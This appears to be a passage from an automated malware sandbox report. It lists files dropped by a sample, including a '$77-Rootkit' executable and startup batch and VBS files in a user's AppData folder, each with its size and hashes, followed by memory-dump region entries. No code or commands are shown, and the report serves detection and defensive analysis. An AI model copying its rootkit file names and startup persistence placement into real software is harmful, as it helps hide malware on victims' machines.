                                                                                                                  4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                • C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
                                                                                                                  Filesize

                                                                                                                  435KB

                                                                                                                  MD5

                                                                                                                  f7722b62b4014e0c50adfa9d60cafa1c

                                                                                                                  SHA1

                                                                                                                  f31c17e0453f27be85730e316840f11522ddec3e

                                                                                                                  SHA256

                                                                                                                  ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

                                                                                                                  SHA512

                                                                                                                  7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

                                                                                                                • C:\Users\Admin\AppData\Roaming\startup_str_182.bat
                                                                                                                  Filesize

                                                                                                                  3.5MB

                                                                                                                  MD5

                                                                                                                  297d7e65305917b5a212ca9f4b4d99d2

                                                                                                                  SHA1

                                                                                                                  402192fd3b13ea1fd26403e227ceb119e8569b4c

                                                                                                                  SHA256

                                                                                                                  cbe56ba5a86d713c4f57d42e3084f9879c379367c46054b805e85922e5654bf9

                                                                                                                  SHA512

                                                                                                                  6055d50144ca5a3e6c8889a659d63d654a3a84fb2be78ad36335d0877095592b7923e309c9d818ea9d5fc17a7d4f1b61c3318acddb9ea5041cf0fd996e27cb1a

                                                                                                                • C:\Users\Admin\AppData\Roaming\startup_str_182.vbs
                                                                                                                  Filesize

                                                                                                                  115B

                                                                                                                  MD5

                                                                                                                  44116e0e2772e08deeb73293aac7ea83

                                                                                                                  SHA1

                                                                                                                  6bd666f79b09fbc06c56b13f62ef024e58878e84

                                                                                                                  SHA256

                                                                                                                  acd5d5d605e00fe7b43206e13818a080f7d11105077f7a988a35f7db1c44cb2b

                                                                                                                  SHA512

                                                                                                                  b67ad508a826b490d2b38731fa177f9cd67841ac4d04ce137dc8fd02e598ce124b150a2d67e67b6abbda800d1b217b3ab550aedfcf19fa6e7b0dbfc12cc6697d

                                                                                                                • memory/552-185-0x00000207145E0000-0x000002071460A000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/552-191-0x00007FFF6A270000-0x00007FFF6A280000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/552-184-0x00000207145E0000-0x000002071460A000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/552-190-0x00000207145E0000-0x000002071460A000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/552-183-0x00000207141E0000-0x0000020714205000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  148KB

                                                                                                                • memory/632-200-0x0000019AD86D0000-0x0000019AD86FA000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/632-195-0x0000019AD86D0000-0x0000019AD86FA000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/632-201-0x00007FFF6A270000-0x00007FFF6A280000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/724-211-0x00007FFF6A270000-0x00007FFF6A280000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/724-210-0x00000201D7910000-0x00000201D793A000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/724-205-0x00000201D7910000-0x00000201D793A000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/900-221-0x00007FFF6A270000-0x00007FFF6A280000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/900-215-0x0000021B123E0000-0x0000021B1240A000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/900-220-0x0000021B123E0000-0x0000021B1240A000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/916-136-0x00000000009D0000-0x0000000000CF4000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  3.1MB

                                                                                                                • memory/1000-225-0x00000164F0D10000-0x00000164F0D3A000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/1000-230-0x00000164F0D10000-0x00000164F0D3A000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/1000-231-0x00007FFF6A270000-0x00007FFF6A280000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/1056-41-0x00007FFFAA1E0000-0x00007FFFAA3BB000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/1056-74-0x00007FFFAA1E0000-0x00007FFFAA3BB000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/1056-42-0x00007FFFAA1E0000-0x00007FFFAA3BB000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/2792-172-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2792-169-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2792-180-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2792-179-0x00007FFFA9410000-0x00007FFFA94BE000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  696KB

                                                                                                                • memory/2792-170-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2792-171-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2792-178-0x00007FFFAA1E0000-0x00007FFFAA3BB000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/2792-174-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/4224-118-0x0000020C7B110000-0x0000020C7B434000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  3.1MB

                                                                                                                • memory/4516-166-0x000001FC9A650000-0x000001FC9A67A000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/4516-167-0x00007FFFAA1E0000-0x00007FFFAA3BB000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/4516-168-0x00007FFFA9410000-0x00007FFFA94BE000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  696KB

                                                                                                                • memory/5028-4-0x00007FFFAA1E0000-0x00007FFFAA3BB000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/5028-28-0x00000266C6FC0000-0x00000266C6FC8000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/5028-23-0x00007FFFAA1E0000-0x00007FFFAA3BB000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/5028-12-0x00000266C7510000-0x00000266C7586000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  472KB

                                                                                                                • memory/5028-29-0x00000266E79F0000-0x00000266E7E8E000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  4.6MB

                                                                                                                • memory/5028-7-0x00000266C7230000-0x00000266C7252000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  136KB

                                                                                                                • memory/5028-6-0x00007FFFAA1E0000-0x00007FFFAA3BB000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/5028-5-0x00007FFFAA1E0000-0x00007FFFAA3BB000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/5028-111-0x00007FFFAA1E0000-0x00007FFFAA3BB000-memory.dmp
                                                                                                                  Filesize

                                                                                                                  1.9MB